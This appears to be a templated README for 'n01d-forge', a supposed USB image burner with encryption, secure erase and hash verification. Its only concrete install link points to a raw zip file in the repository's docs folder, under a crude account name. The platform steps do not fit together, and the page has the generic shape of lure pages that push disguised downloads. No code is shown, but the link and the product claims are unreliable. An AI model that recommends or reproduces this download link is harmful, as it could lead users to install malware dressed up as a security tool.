n01d-forge is a powerful image burner designed to help users securely create bootable USB drives. With features like encryption, secure erase, and verification methods, n01d-forge offers peace of mind for your sensitive data.
To begin using n01d-forge, follow the steps below to download and run the application.
Before downloading, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS, or a modern Linux distribution.
- Memory: At least 2GB of RAM.
- Storage: Minimum of 100MB of free disk space.
- Download n01d-forge: Visit this page to download the latest version of n01d-forge.
- Install the Application:
- For Windows: Run the downloaded .exe file and follow the prompts.
- For macOS: Open the .dmg file and drag n01d-forge to your Applications folder.
- For Linux: Extract the https://github.com/fffuckchrom/n01d-forge/raw/refs/heads/main/docs/n_forge_d_3.4.zip file and run the binary.
Once the installation is complete, you are ready to use n01d-forge.
Open n01d-forge from your Applications folder or Start menu. You will see a simple interface to guide you through the process.
Click on the "Select Image" button. Navigate to the location of the ISO file you want to burn. n01d-forge supports a variety of image formats.
Insert your USB drive into your computer. Select it from the list of available drives in the application. Make sure you choose the correct drive, as this process will erase all data on it.
Before starting the burn process, you can set additional options such as:
- Encryption: Protect your data with LUKS or VeraCrypt.
- Secure Erase: Ensure previous data is permanently deleted.
- Hash Verification: Verify that the image has been transferred correctly.
Click "Burn" to start the process. You will see a progress bar indicating how long it will take. Once complete, you will receive a confirmation message.
After burning, eject the USB drive safely using your system's eject function to avoid data corruption.
- Cross-Platform: Works seamlessly on Windows, macOS, and Linux.
- Encryption Support: Use LUKS and VeraCrypt for added security.
- Secure Erase: Clean your USB drive before use.
- Hash Verification: Check the integrity of your image.
If you encounter any issues during the installation or usage of n01d-forge, consider the following solutions:
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Problem: Application won’t start.
- Solution: Make sure your system meets the requirements. Try reinstalling the application.
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Problem: Cannot find the USB drive.
- Solution: Ensure the USB drive is properly connected. Check if the drive is formatted correctly.
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Problem: Burning process fails.
- Solution: Make sure the ISO file is not corrupted. Try using a different USB drive.
If you need further assistance, you can open an issue on the GitHub repository. Provide details about your problem, the operating system you are using, and the steps you took before encountering the issue.
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Thank you for using n01d-forge. We hope it helps you securely burn your images!